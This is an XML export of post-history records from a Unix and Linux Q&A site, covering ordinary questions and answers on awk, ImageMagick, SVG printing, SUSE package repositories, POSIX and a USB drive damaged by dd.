  <row Id="29173" PostHistoryTypeId="25" PostId="11964" RevisionGUID="e8597de8-ab53-4f9c-978e-4c75554c2c51" CreationDate="2011-04-25T12:09:10.763" Comment="http://twitter.com/#!/StackUnix/status/62488319493287936" />
  <row Id="29174" PostHistoryTypeId="2" PostId="11969" RevisionGUID="41bb954b-17af-4019-bf96-b301dc70bf95" CreationDate="2011-04-25T09:50:30.317" UserDisplayName="user170008" Text="Hi,&#xD;&#xA;&#xD;&#xA;When i try to launch any GUI application through a terminal in my RHEL 5.4, it takes a hell lot of time for the GUI to come up..Also, sometimes, it just hangs.&#xD;&#xA;&#xD;&#xA;I see the following messages in the terminal :&#xD;&#xA;&#xD;&#xA;&quot;Launching a SCIM daemon with Socket FrontEnd...&#xD;&#xA;GTK IM Module SCIM : Cannot connect to Panel!&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What might be the issue?" />
  <row Id="29175" PostHistoryTypeId="1" PostId="11969" RevisionGUID="41bb954b-17af-4019-bf96-b301dc70bf95" CreationDate="2011-04-25T09:50:30.317" UserDisplayName="user170008" Text="Lauching a GUI application in RHEL 5 hangs" />
  <row Id="29176" PostHistoryTypeId="3" PostId="11969" RevisionGUID="41bb954b-17af-4019-bf96-b301dc70bf95" CreationDate="2011-04-25T09:50:30.317" UserDisplayName="user170008" Text="élinuxàérhelà" />
  <row Id="29177" PostHistoryTypeId="17" PostId="11969" RevisionGUID="c8c5668c-7932-46a4-8324-600a0430b9ed" CreationDate="2011-04-25T12:31:32.190" UserId="-1" Comment="from http://stackoverflow.com/questions/5777179/lauching-a-gui-application-in-rhel-5-hangs" Text="" />
  <row Id="29178" PostHistoryTypeId="2" PostId="11970" RevisionGUID="b885d058-38b6-473b-9efd-b4930e2385e6" CreationDate="2011-04-25T13:48:02.280" UserId="5836" Text="In this text file (class.txt) of the follong format&#xD;&#xA;&#xD;&#xA;Surname, Forename: Day.Month.Year: Degree&#xD;&#xA;&#xD;&#xA;Sellen, Jo: 03.07.1986: MSc CSE&#xD;&#xA;&#xD;&#xA;Parfitt, Harry: 20.03.1984: MSc IT&#xD;&#xA;&#xD;&#xA;*Help me to modify this shell script which uses AWK to read the file (class.txt)*&#xD;&#xA;&#xD;&#xA;**awk '{gsub(/ +/,&quot;\t&quot;);print}' class.txt**&#xD;&#xA;&#xD;&#xA;*and output the data in the tabbed format as shown:*&#xD;&#xA;&#xD;&#xA;Surname Forename MSc stream Date of Birth&#xD;&#xA;&#xD;&#xA;Sellen Jo MSc CSE 03.07.1986 &#xD;&#xA;&#xD;&#xA;Parfitt Harry MSc IT 20.03.1984&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* don't worry if tabbed columns don't line up.&#xD;&#xA;&#xD;&#xA;cheerz" />
  <row Id="29179" PostHistoryTypeId="1" PostId="11970" RevisionGUID="b885d058-38b6-473b-9efd-b4930e2385e6" CreationDate="2011-04-25T13:48:02.280" UserId="5836" Text="Can You Edit My _AWK_ Shell Script?" />
  <row Id="29180" PostHistoryTypeId="3" PostId="11970" RevisionGUID="b885d058-38b6-473b-9efd-b4930e2385e6" CreationDate="2011-04-25T13:48:02.280" UserId="5836" Text="éshellà" />
  <row Id="29181" PostHistoryTypeId="5" PostId="11970" RevisionGUID="cc526916-cfcb-45e5-ad2b-c1f940811b37" CreationDate="2011-04-25T14:15:49.243" UserId="73" Comment="added 30 characters in body; edited title; edited tags" Text="I have a text file in the following format:&#xD;&#xA;&#xD;&#xA;    Surname, Forename: Day.Month.Year: Degree&#xD;&#xA;    &#xD;&#xA;    Sellen, Jo: 03.07.1986: MSc CSE&#xD;&#xA;    &#xD;&#xA;    Parfitt, Harry: 20.03.1984: MSc IT&#xD;&#xA;&#xD;&#xA;How can I write a shell script that uses awk to read the file (`class.txt`) like this:&#xD;&#xA;&#xD;&#xA;    awk '{gsub(/ +/,&quot;\t&quot;);print}' class.txt&#xD;&#xA;&#xD;&#xA;and outputs the data in the following format:&#xD;&#xA;&#xD;&#xA;    Surname Forename MSc stream Date of Birth&#xD;&#xA;    &#xD;&#xA;    Sellen Jo MSc CSE 03.07.1986 &#xD;&#xA;    &#xD;&#xA;    Parfitt Harry MSc IT 20.03.1984&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(Don't worry if tabbed columns don't line up)&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="29182" PostHistoryTypeId="4" PostId="11970" RevisionGUID="cc526916-cfcb-45e5-ad2b-c1f940811b37" CreationDate="2011-04-25T14:15:49.243" UserId="73" Comment="added 30 characters in body; edited title; edited tags" Text="Manipulating a file with awk" />
  <row Id="29183" PostHistoryTypeId="6" PostId="11970" RevisionGUID="cc526916-cfcb-45e5-ad2b-c1f940811b37" CreationDate="2011-04-25T14:15:49.243" UserId="73" Comment="added 30 characters in body; edited title; edited tags" Text="éshellàéawkà" />
  <row Id="29184" PostHistoryTypeId="2" PostId="11971" RevisionGUID="95972d39-eb1b-4e2d-80ed-1ebb0f363f00" CreationDate="2011-04-25T14:37:18.170" UserId="3389" Text="`icewm` is very lightweight.  Works well on my headless server with 1GB RAM with `Xvfb` and `x11vnc`.  If you want a lightweight &quot;desktop environment&quot; to go with it, I like ROX-Filer.  " />
  <row Id="29185" PostHistoryTypeId="25" PostId="11937" RevisionGUID="56f3e9ea-fd55-4ca0-a3b7-afc5235def78" CreationDate="2011-04-25T15:09:10.597" Comment="http://twitter.com/#!/StackUnix/status/62533616277790721" />
  <row Id="29186" PostHistoryTypeId="5" PostId="11941" RevisionGUID="ff9d3830-577b-49cb-ad02-a54bb5b9797d" CreationDate="2011-04-25T15:34:10.860" UserId="2421" Comment="use Gordon Davisson's improved awk script" Text="    perl -ne 'print unless $seen{$_}++' data.txt&#xD;&#xA;&#xD;&#xA;Or, if you must have a [useless use of `cat`][1]:&#xD;&#xA;&#xD;&#xA;    cat data.txt | perl -ne 'print unless $seen{$_}++'&#xD;&#xA;&#xD;&#xA;Here's an `awk` translation, for systems that lack Perl:&#xD;&#xA;&#xD;&#xA;    awk '!seen[$0]++' data.txt&#xD;&#xA;    cat data.txt | awk '!seen[$0]++'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cat_%28Unix%29#Useless_use_of_cat" />
  <row Id="29187" PostHistoryTypeId="2" PostId="11972" RevisionGUID="8f87bae3-74e7-453e-b0a1-3bda69bb3487" CreationDate="2011-04-25T15:50:48.013" UserId="4667" Text="It appears your fields are separated with colon-space, so you'll need to account for that in awk's `FS` variable.  You're also manipulating the order of the fields, so you'll want to set `OFS` in the `BEGIN` section." />
  <row Id="29188" PostHistoryTypeId="2" PostId="11973" RevisionGUID="bbc7bebe-e5a9-49a7-b1b3-ccd3bf1f7a10" CreationDate="2011-04-25T16:01:11.947" UserId="1389" Text="I tried using lpr, but instead the printer just printed out the actual XML of the file, which isn't what I wanted." />
  <row Id="29189" PostHistoryTypeId="1" PostId="11973" RevisionGUID="bbc7bebe-e5a9-49a7-b1b3-ccd3bf1f7a10" CreationDate="2011-04-25T16:01:11.947" UserId="1389" Text="print an svg already scaled to a4 size from the command line" />
  <row Id="29190" PostHistoryTypeId="3" PostId="11973" RevisionGUID="bbc7bebe-e5a9-49a7-b1b3-ccd3bf1f7a10" CreationDate="2011-04-25T16:01:11.947" UserId="1389" Text="écupsà" />
  <row Id="29191" PostHistoryTypeId="17" PostId="11975" RevisionGUID="3b217701-d64b-4eba-9864-24f82dbf1403" CreationDate="2011-04-25T16:03:53.107" UserId="-1" Comment="from http://stackoverflow.com/questions/5778617/resizing-and-croping-images-to-6x4-with-width-of-1024/5779089#5779089" Text="" />
  <row Id="29192" PostHistoryTypeId="2" PostId="11975" RevisionGUID="6cdec708-3c7c-40ee-af2c-1a2784d1c8d4" CreationDate="2011-04-25T13:59:38.397" UserDisplayName="Musaul" Text="You want all your photos to be 6x4 with a width of 1024, right? That means they should be 683 pixels high.&#xD;&#xA;&#xD;&#xA;If that is correct, what you're looking for is&#xD;&#xA;&#xD;&#xA;`convert  &lt;input_image&gt;  -resize 1024x683^  -gravity center  -extent 1024x683  &lt;output_image&gt;`&#xD;&#xA;&#xD;&#xA;This will crop the edges of to fit the aspect and resize them to 1024x683. It will make small images larger as well as making large images smaller to fit your size." />
  <row Id="29193" PostHistoryTypeId="2" PostId="11974" RevisionGUID="ca4380b4-0c65-481a-8b7c-e5add8819825" CreationDate="2011-04-25T13:06:51.450" UserId="4430" Text="I have a mixed set of images, each one has a slightly different resolution with a slightly different aspect ratio from other images.&#xD;&#xA;&#xD;&#xA;I have tried using commands like&#xD;&#xA;&#xD;&#xA;    convert -resize&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    convert -crop&#xD;&#xA;&#xD;&#xA;but can't seem to figure out the correct command to make all images have a width of 1024 and an aspect ratio of 6x4, without causing the image to stretch or get squashed." />
  <row Id="29194" PostHistoryTypeId="1" PostId="11974" RevisionGUID="ca4380b4-0c65-481a-8b7c-e5add8819825" CreationDate="2011-04-25T13:06:51.450" UserId="4430" Text="resizing and croping images to 6x4 with width of 1024" />
  <row Id="29195" PostHistoryTypeId="3" PostId="11974" RevisionGUID="ca4380b4-0c65-481a-8b7c-e5add8819825" CreationDate="2011-04-25T13:06:51.450" UserId="4430" Text="élinuxàécommandölineàéimagemagickà" />
  <row Id="29196" PostHistoryTypeId="17" PostId="11974" RevisionGUID="d398022c-7a69-4ae4-adec-c7923ee28b81" CreationDate="2011-04-25T16:03:53.107" UserId="-1" Comment="from http://stackoverflow.com/questions/5778617/resizing-and-croping-images-to-6x4-with-width-of-1024" Text="" />
  <row Id="29197" PostHistoryTypeId="2" PostId="11976" RevisionGUID="1c1a5c23-220d-438a-b21c-64633bde872e" CreationDate="2011-04-25T16:06:30.663" UserId="6890" Text="Try to use a GUI, for example *eye of gnome*. Also *firefox* is able to open svg's and to print.  &#xD;&#xA;At least you can import the image to *OpenOffice*'s Writer ;-)" />
  <row Id="29198" PostHistoryTypeId="2" PostId="11977" RevisionGUID="29fc6f4d-902e-4f69-9881-50e3749f4e04" CreationDate="2011-04-25T16:25:02.287" UserId="1925" Text="SVG files, as you noted, are just xml text. Dumping that data straight to the printer is going to get you a bunch of nothing. What you need is a program that can RENDER that data. You say the file is already scaled to A4 size that's just a coordinate space for the scalable vector data. It isn't rendered.&#xD;&#xA;&#xD;&#xA;However don't despair! There are lots of programs that can render the data from the command line and some that can even render and print all in one wack. You need to look into command line flags for some heavier weight programs that you might normally expect to get a GUI with.&#xD;&#xA;&#xD;&#xA;For example, I know you can use LibreOffice on the command line to open and print a file or convert it to another format. There is a handy command line utility called [unoconv][1] that makes the conversion process a lot easier by simplifying all the flags you would have to send.&#xD;&#xA;&#xD;&#xA;The Gimp also has some command line flags to open, convert, save and even print. Some of the old standbys like ImageMagick are also able to convert SVG files to rendered images at a given size. I expect other applications like Inkscape are also able to do this.&#xD;&#xA;&#xD;&#xA;Once you have an image, it should be easy to print from the command line. If you do this often, you could write a little two line script to convert and print!&#xD;&#xA;&#xD;&#xA;  [1]: http://dag.wieers.com/home-made/unoconv/" />
  <row Id="29199" PostHistoryTypeId="17" PostId="11979" RevisionGUID="e6c114d9-cd85-43a1-9426-3f606c167dee" CreationDate="2011-04-25T16:25:42.513" UserId="-1" Comment="from http://stackoverflow.com/questions/5775323/susecant-use-yast-install-software-online-i-havent-any-cd/5775794#5775794" Text="" />
  <row Id="29200" PostHistoryTypeId="2" PostId="11979" RevisionGUID="58e06c1c-b494-4508-8ed6-8d82f4fa1e13" CreationDate="2011-04-25T06:18:59.740" UserDisplayName="taspeotis" Text="Check your YAST repositories, &lt;a href=&quot;http://forums.opensuse.org/archives/sf-archives/archives-tips-tricks-tweaks/323317-yast-repositories.html&quot;&gt;here&lt;/a&gt; is a list of common ones. Remove any references to `cd://` in the repository source file.&#xD;&#xA;&#xD;&#xA;&gt; I'm a freshman&#xD;&#xA;&#xD;&#xA;Ignore what I just said, there's your problem." />
  <row Id="29201" PostHistoryTypeId="2" PostId="11978" RevisionGUID="3ea22151-1a12-49c2-b557-ffa3321ce608" CreationDate="2011-04-25T05:01:23.850" UserDisplayName="ShunnarMeng" Text="hi,&#xD;&#xA;I cannot use 'yast -i' or 'zypper install' in suse 10 ,it call me to insert suse sp3 CD,but I haven't ,what should I do? I 'm  a freshman :) &#xD;&#xA;&#xD;&#xA;    localhost:~ # zypper install curl-devel&#xD;&#xA;    Restoring system sources...&#xD;&#xA;    Parsing metadata for SUSE Linux Enterprise Server 10 SP3...&#xD;&#xA;    Parsing RPM database...&#xD;&#xA;    Summary:&#xD;&#xA;    &lt;install&gt;   [S1:1][package]curl-devel-7.15.1-19.16.13.i586&#xD;&#xA;    &lt;install&gt;   [S1:1][package]libidn-devel-0.6.0-14.2.i586&#xD;&#xA;    &lt;install&gt;   [S1:1][package]openssl-devel-0.9.8a-18.36.i586&#xD;&#xA;    Continue? [y/n]: y&#xD;&#xA;    Downloading: [S1:1][package]libidn-devel-0.6.0-14.2.i586, 1.1 M(4.3 M unpacked)&#xD;&#xA;    Please insert media [Failed to mount cd:///?devices=/dev/hdb on : Mounting media failed&#xD;&#xA;    ] # 1 and type 'y' to continue or 'n' to cancel the operation. [y/n]: y&#xD;&#xA;    Please insert media [Failed to mount cd:///?devices=/dev/hdb on : Mounting media failed&#xD;&#xA;    ] # 1 and type 'y' to continue or 'n' to cancel the operation. [y/n]: " />
  <row Id="29202" PostHistoryTypeId="1" PostId="11978" RevisionGUID="3ea22151-1a12-49c2-b557-ffa3321ce608" CreationDate="2011-04-25T05:01:23.850" UserDisplayName="ShunnarMeng" Text="Suse:Can't use yast install software online . I haven't any CD." />
  <row Id="29203" PostHistoryTypeId="3" PostId="11978" RevisionGUID="3ea22151-1a12-49c2-b557-ffa3321ce608" CreationDate="2011-04-25T05:01:23.850" UserDisplayName="ShunnarMeng" Text="ésuseà" />
  <row Id="29204" PostHistoryTypeId="17" PostId="11978" RevisionGUID="ff40f42d-891a-494d-b299-6be6f211781f" CreationDate="2011-04-25T16:25:42.513" UserId="-1" Comment="from http://stackoverflow.com/questions/5775323/susecant-use-yast-install-software-online-i-havent-any-cd" Text="" />
  <row Id="29205" PostHistoryTypeId="5" PostId="11978" RevisionGUID="e3641638-6424-4ab4-9042-8043d8337b67" CreationDate="2011-04-25T16:40:11.450" UserId="73" Comment="deleted 15 characters in body; edited tags; edited title" Text="I cannot use `yast -i` or `zypper install` in SUSE 10; it wants me to insert a SUSE SP3 CD, but I don't have one. What should I do?&#xD;&#xA;&#xD;&#xA;    localhost:~ # zypper install curl-devel&#xD;&#xA;    Restoring system sources...&#xD;&#xA;    Parsing metadata for SUSE Linux Enterprise Server 10 SP3...&#xD;&#xA;    Parsing RPM database...&#xD;&#xA;    Summary:&#xD;&#xA;    &lt;install&gt;   [S1:1][package]curl-devel-7.15.1-19.16.13.i586&#xD;&#xA;    &lt;install&gt;   [S1:1][package]libidn-devel-0.6.0-14.2.i586&#xD;&#xA;    &lt;install&gt;   [S1:1][package]openssl-devel-0.9.8a-18.36.i586&#xD;&#xA;    Continue? [y/n]: y&#xD;&#xA;    Downloading: [S1:1][package]libidn-devel-0.6.0-14.2.i586, 1.1 M(4.3 M unpacked)&#xD;&#xA;    Please insert media [Failed to mount cd:///?devices=/dev/hdb on : Mounting media failed&#xD;&#xA;    ] # 1 and type 'y' to continue or 'n' to cancel the operation. [y/n]: y&#xD;&#xA;    Please insert media [Failed to mount cd:///?devices=/dev/hdb on : Mounting media failed&#xD;&#xA;    ] # 1 and type 'y' to continue or 'n' to cancel the operation. [y/n]: " />
  <row Id="29206" PostHistoryTypeId="6" PostId="11978" RevisionGUID="e3641638-6424-4ab4-9042-8043d8337b67" CreationDate="2011-04-25T16:40:11.450" UserId="73" Comment="deleted 15 characters in body; edited tags; edited title" Text="ésuseàéyastàézypperà" />
  <row Id="29207" PostHistoryTypeId="4" PostId="11978" RevisionGUID="e3641638-6424-4ab4-9042-8043d8337b67" CreationDate="2011-04-25T16:40:11.450" UserId="73" Comment="deleted 15 characters in body; edited tags; edited title" Text="Can't use yast to install software online -- tries to mount a CD" />
  <row Id="29208" PostHistoryTypeId="6" PostId="11652" RevisionGUID="5e2d3853-5e1d-4777-8390-d2d353740492" CreationDate="2011-04-25T16:40:49.113" UserId="1925" Comment="edited tags" Text="éterminalàékeyboardàéopenbsdàéencodingàéconsoleà" />
  <row Id="29209" PostHistoryTypeId="5" PostId="11979" RevisionGUID="c01672b9-03bb-40aa-9e99-45ff885be883" CreationDate="2011-04-25T16:41:00.137" UserId="73" Comment="deleted 79 characters in body" Text="Check your YAST repositories, [here](http://forums.opensuse.org/archives/sf-archives/archives-tips-tricks-tweaks/323317-yast-repositories.html) is a list of common ones. Remove any references to `cd://` in the repository source file.&#xD;&#xA;" />
  <row Id="29210" PostHistoryTypeId="6" PostId="8056" RevisionGUID="b34bb442-6ffe-4903-bcce-25453a3c0062" CreationDate="2011-04-25T16:44:45.677" UserId="1925" Comment="edited tags" Text="élinuxàéterminalàésuseàéconsoleà" />
  <row Id="29211" PostHistoryTypeId="6" PostId="430" RevisionGUID="18569db9-669c-46bd-890d-6bc9e2ae3a9e" CreationDate="2011-04-25T16:48:07.423" UserId="1925" Comment="edited tags" Text="éfedoraàéscriptingàéloginàéautologinàéconsoleà" />
  <row Id="29212" PostHistoryTypeId="2" PostId="11980" RevisionGUID="ed3a2f27-ca2f-41da-9c34-25fa03f1944c" CreationDate="2011-04-25T16:48:56.597" UserId="2343" Text="`xdotools` gives the ability to insert text at the current text insertion point, but it doesn't seem(?) to have an option which gets the actual screen x,y co-ordinates... Is there any such program? ... the reason is: I want the mouse to jump to the current text insertion point.. ie to the text-cursor.." />
  <row Id="29213" PostHistoryTypeId="1" PostId="11980" RevisionGUID="ed3a2f27-ca2f-41da-9c34-25fa03f1944c" CreationDate="2011-04-25T16:48:56.597" UserId="2343" Text="Is there a program which gives the X screen co-ords of the Text-cursor (insertion point)?" />
  <row Id="29214" PostHistoryTypeId="3" PostId="11980" RevisionGUID="ed3a2f27-ca2f-41da-9c34-25fa03f1944c" CreationDate="2011-04-25T16:48:56.597" UserId="2343" Text="ébashàéxorgàécursorà" />
  <row Id="29215" PostHistoryTypeId="6" PostId="3122" RevisionGUID="d9010fde-3f07-49ff-842e-2dca93823612" CreationDate="2011-04-25T16:51:13.973" UserId="1925" Comment="edited tags" Text="élinuxàéterminalàélogsàéconsoleà" />
  <row Id="29216" PostHistoryTypeId="6" PostId="4126" RevisionGUID="06205a42-099a-459e-a16a-84ffa4776565" CreationDate="2011-04-25T16:52:37.750" UserId="1925" Comment="edited tags" Text="éshellàéterminalàéttyàéconsoleà" />
  <row Id="29217" PostHistoryTypeId="6" PostId="5794" RevisionGUID="217875a6-e602-4b51-848b-2bc802e707a5" CreationDate="2011-04-25T16:54:02.023" UserId="1925" Comment="edited tags" Text="éshellàécommandölineàéarchölinuxàépacmanà" />
  <row Id="29218" PostHistoryTypeId="6" PostId="312" RevisionGUID="0ae24769-13c3-4eb7-bc9d-4a890b99488d" CreationDate="2011-04-25T16:54:32.023" UserId="1925" Comment="edited tags" Text="ésolarisàéconsoleàéserialöconsoleà" />
  <row Id="29219" PostHistoryTypeId="6" PostId="7670" RevisionGUID="595d9a6d-e288-43f4-9549-2509eb5b18ba" CreationDate="2011-04-25T16:55:38.887" UserId="1925" Comment="edited tags" Text="élinuxàéterminalàékeyboardàéxmodmapàéconsoleà" />
  <row Id="29220" PostHistoryTypeId="6" PostId="2881" RevisionGUID="8be9af94-f10d-487e-a419-3c55264065a0" CreationDate="2011-04-25T17:00:39.773" UserId="1925" Comment="edited tags" Text="écommandölineàéxorgàéttyàéconsoleàénotificationsà" />
  <row Id="29221" PostHistoryTypeId="6" PostId="3981" RevisionGUID="67d051ef-0fc5-4e9b-889a-8aa43d71ee26" CreationDate="2011-04-25T17:02:55.700" UserId="1925" Comment="edited tags" Text="ésecurityàéttyàéconsoleà" />
  <row Id="29222" PostHistoryTypeId="6" PostId="2884" RevisionGUID="7ceb67c0-3fa6-430a-8252-ac832d6a60f9" CreationDate="2011-04-25T17:04:10.693" UserId="1925" Comment="edited tags" Text="ébashàékeyboardöshortcutsàéconsoleà" />
  <row Id="29223" PostHistoryTypeId="6" PostId="11839" RevisionGUID="71a7994a-e269-4f81-9c1e-086de8402961" CreationDate="2011-04-25T17:05:30.393" UserId="1925" Comment="edited tags" Text="élinuxàésshàénokiaön900àéserialöconsoleà" />
  <row Id="29224" PostHistoryTypeId="6" PostId="100" RevisionGUID="347a8bff-7794-4ae7-94ae-a1fbdef4d3b9" CreationDate="2011-04-25T17:06:37.430" UserId="1925" Comment="edited tags" Text="élinuxàéfreebsdàéconsoleàékvmàéserialöconsoleà" />
  <row Id="29225" PostHistoryTypeId="6" PostId="8367" RevisionGUID="7d364772-60a1-4253-a3f7-f2ba55419a34" CreationDate="2011-04-25T17:11:19.067" UserId="1925" Comment="edited tags" Text="éshellàégentooàémonitoràéconsoleà" />
  <row Id="29226" PostHistoryTypeId="6" PostId="3679" RevisionGUID="714a2e1e-7bb3-4113-8d2a-4eb3171260c9" CreationDate="2011-04-25T17:12:06.210" UserId="1925" Comment="edited tags" Text="éshellàécommandölineàéfindàéioà" />
  <row Id="29227" PostHistoryTypeId="6" PostId="4078" RevisionGUID="2df8cfc3-826d-4231-b81e-41a70d5c383a" CreationDate="2011-04-25T17:14:11.297" UserId="1925" Comment="edited tags" Text="élinuxàévideoàéconsoleàénvidiaà" />
  <row Id="29229" PostHistoryTypeId="5" PostId="11969" RevisionGUID="327957bd-ad32-45a2-971a-f32d954432cb" CreationDate="2011-04-25T17:23:10.770" UserId="4728" Comment="grammar &amp; punctuation; quote format" Text="When I try to launch any GUI application through a terminal in my RHEL 5.4, it takes a very long time for the GUI to come up.  Also, sometimes it just hangs.&#xD;&#xA;&#xD;&#xA;I see the following messages in the terminal :&#xD;&#xA;&#xD;&#xA;&gt; Launching a SCIM daemon with Socket FrontEnd...&#xD;&#xA;GTK IM Module SCIM : Cannot connect to Panel!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What might be the issue?" />
  <row Id="29230" PostHistoryTypeId="24" PostId="11969" RevisionGUID="327957bd-ad32-45a2-971a-f32d954432cb" CreationDate="2011-04-25T17:23:10.770" Comment="Proposed by 4728 approved by 73 edit id of 320" />
  <row Id="29231" PostHistoryTypeId="6" PostId="5012" RevisionGUID="482b1f16-a222-4ec4-a611-61309dd30281" CreationDate="2011-04-25T17:26:15.440" UserId="1925" Comment="edited tags" Text="éconsoleàéttyàémultiömonitorà" />
  <row Id="29232" PostHistoryTypeId="6" PostId="9330" RevisionGUID="7a5b56ee-3882-44c2-b715-7fa013073726" CreationDate="2011-04-25T17:26:48.590" UserId="1925" Comment="edited tags" Text="élinuxàékernelàédebuggingàédevelopmentàéserialöconsoleà" />
  <row Id="29233" PostHistoryTypeId="2" PostId="11982" RevisionGUID="11c593f2-e6ba-4b0b-af04-162c6b50b184" CreationDate="2011-04-25T17:40:06.260" UserId="1925" Text="One of my favorite features in `zsh` is the builtin push-line function that takes care of this without any of the hackery in other answers here. I have it bound to &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;l&lt;/kbd&gt; in my `.zshrc` file like this:&#xD;&#xA;&#xD;&#xA;    bindkey '^L' push-line&#xD;&#xA;&#xD;&#xA;Then when I'm typing along in some command and need to do something else real quick I can invoke that with one key and get a blank prompt. After running the other command, the prompt is automatically filled out with what I was typing before.&#xD;&#xA;&#xD;&#xA;You can even chain multiple layers of this and the commands will come back at you in reverse order that you pushed them into the queue." />
  <row Id="29234" PostHistoryTypeId="2" PostId="11983" RevisionGUID="5527fe58-b5b3-42fb-b5a2-3fbd5a4940c0" CreationDate="2011-04-25T17:41:39.847" UserId="2343" Text="I see POSIX mentioned often and everywhere, and I had assumed it to be the baseline UNIX standard.. until I noticed the following excerpt on a Wikipedia page: [*The Open Group*](http://en.wikipedia.org/wiki/The_Open_Group)  &#xD;&#xA;&#xD;&#xA;&gt; The Open Group is most famous as the&#xD;&#xA;&gt; certifying body for the UNIX&#xD;&#xA;&gt; trademark, and its publication of&#xD;&#xA;&gt; the *Single UNIX Specification&#xD;&#xA;&gt; technical standard*, ***which extends&#xD;&#xA;&gt; the POSIX standards and is the&#xD;&#xA;&gt; official definition of a UNIX system***.  &#xD;&#xA;&#xD;&#xA;If the official definition of a UNIX system is an extension of POSIX, then what exactly is POSIX? ,,, It surely seems to be a touchstone of the UNIX world, but I don't know how it fits into the overall picture.  &#xD;&#xA;" />
  <row Id="29235" PostHistoryTypeId="1" PostId="11983" RevisionGUID="5527fe58-b5b3-42fb-b5a2-3fbd5a4940c0" CreationDate="2011-04-25T17:41:39.847" UserId="2343" Text="What exactly is POSIX?" />
  <row Id="29236" PostHistoryTypeId="3" PostId="11983" RevisionGUID="5527fe58-b5b3-42fb-b5a2-3fbd5a4940c0" CreationDate="2011-04-25T17:41:39.847" UserId="2343" Text="éposixàéstandardà" />
  <row Id="29237" PostHistoryTypeId="5" PostId="11796" RevisionGUID="72a8bd20-2dc0-4790-9187-7152f57fa61d" CreationDate="2011-04-25T17:46:04.087" UserId="6167" Comment="changed terminal to open" Text="An alternate would be to just generate the map keybinding correctly for the OS.  For example:&#xD;&#xA;&#xD;&#xA;    if executable(&quot;cmd.exe&quot;)&#xD;&#xA;        map ,v :!cmd.exe /C start &quot;&quot; &quot;%&lt;.pdf&quot;&lt;CR&gt;&lt;CR&gt;&#xD;&#xA;    elseif $OSTYPE =~ &quot;darwin.*&quot;&#xD;&#xA;        map ,v :!open '%&lt;.pdf'&lt;CR&gt;&lt;CR&gt;&#xD;&#xA;    elseif executable(&quot;gnome-open&quot;)&#xD;&#xA;        map ,v :!gnome-open '%&lt;.pdf'&lt;CR&gt;&lt;CR&gt;&#xD;&#xA;    endif&#xD;&#xA;&#xD;&#xA;This was tested and appears to work, but as my Vim script is a little shaky and I might have missed some details like proper quoting, I'd probably go more with Jander's approach and just use a shell wrapper which I am far superior in writing.&#xD;&#xA;&#xD;&#xA;    map ,v :!open.sh '%&lt;.pdf'&lt;CR&gt;&lt;CR&gt;&#xD;&#xA;&#xD;&#xA;And in `~/bin/open.sh`:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;&#xD;&#xA;    if echo &quot;$OSTYPE&quot; | grep &quot;^darwin&quot; &gt;/dev/null 2&gt;&amp;1; then&#xD;&#xA;        open &quot;$@&quot; &amp;&#xD;&#xA;    elif type gnome-open &amp;&gt;/dev/null; then&#xD;&#xA;        gnome-open &quot;$@&quot; &amp;&#xD;&#xA;    fi" />
  <row Id="29238" PostHistoryTypeId="2" PostId="11984" RevisionGUID="2f0497ee-dc64-49c5-9952-f29aa503f270" CreationDate="2011-04-25T17:59:58.310" UserId="5325" Text="POSIX is a subset of UNIX which is intended to cover various Unix-like environments for other operating systems; this originally included environments such as Eunice for VMS, Windows NT's POSIX personality, and Apollo Domain/OS.  You can think of it as a standard portability API for the subset of operating system services whose behavior is in common between Unix and non-Unix.  See http://standards.ieee.org/develop/wg/POSIX.html for more information." />
  <row Id="29239" PostHistoryTypeId="2" PostId="11985" RevisionGUID="321866d6-0dd3-4f97-a7c4-dc511019daa6" CreationDate="2011-04-25T18:01:38.800" UserId="2333" Text="I have a 1GB USB flash drive which I wanted to use as an installation medium for Linux distros. My first experiment was to be installing Arch on an old laptop (old enough that if I really messed it up, it wouldn't matter). I downloaded the ISO image, and put the USB into the port; it mounted automatically. Following the instructions on Arch's installation how-to page, I ran `dd if archlinux-XXXX.iso of /dev/sdg1`. I then could not see any files on the USB (whether using `ls` or nautilus). I umounted it, then plugged it back in, and it had some files on it. I'm afraid I can't remember exactly what they were, but I'm pretty sure I saw a directory named `/boot`.&#xD;&#xA;&#xD;&#xA;I then plugged it into the laptop, which would not boot from the flash drive. I plugged the USB back into my main computer, only to be told:&#xD;&#xA;&#xD;&#xA;    Unable to mount 168 MB Filesystem&#xD;&#xA;    Error mounting: mount: wrong fs type, bad option, bad superblock on /dev/sdg1,&#xD;&#xA;    missing codepage or helper program, or other error&#xD;&#xA;    In some cases useful info is found in syslog - try dmesg | tail or so&#xD;&#xA;&#xD;&#xA;That command, `dmesg | tail`, gives the following:&#xD;&#xA;    [338915.672127] UDF-fs: No anchor found&#xD;&#xA;    [338915.672133] UDF-fs: No partition found (1)&#xD;&#xA;    [338955.452708] UDF-fs: No anchor found&#xD;&#xA;    [338955.452714] UDF-fs: Rescanning with blocksize 2048&#xD;&#xA;    [338955.479829] UDF-fs: No anchor found&#xD;&#xA;    [338955.479834] UDF-fs: No partition found (1)&#xD;&#xA;    [338955.527366] UDF-fs: No anchor found&#xD;&#xA;    [338955.527373] UDF-fs: Rescanning with blocksize 2048&#xD;&#xA;    [338955.555208] UDF-fs: No anchor found&#xD;&#xA;    [338955.555213] UDF-fs: No partition found (1)&#xD;&#xA;&#xD;&#xA;So I'm curious about what has happened here. Did I do something wrong somewhere? Why is the error message referring to a 168 MB device, when it's supposed to be 1 GB? Also, is there any way to salvage the flash drive, or is it toast?" />
  <row Id="29240" PostHistoryTypeId="1" PostId="11985" RevisionGUID="321866d6-0dd3-4f97-a7c4-dc511019daa6" CreationDate="2011-04-25T18:01:38.800" UserId="2333" Text="Flash drive won't boot or mount after trying to create installation medium" />
  <row Id="29241" PostHistoryTypeId="3" PostId="11985" RevisionGUID="321866d6-0dd3-4f97-a7c4-dc511019daa6" CreationDate="2011-04-25T18:01:38.800" UserId="2333" Text="ébootàéusbàémountà" />
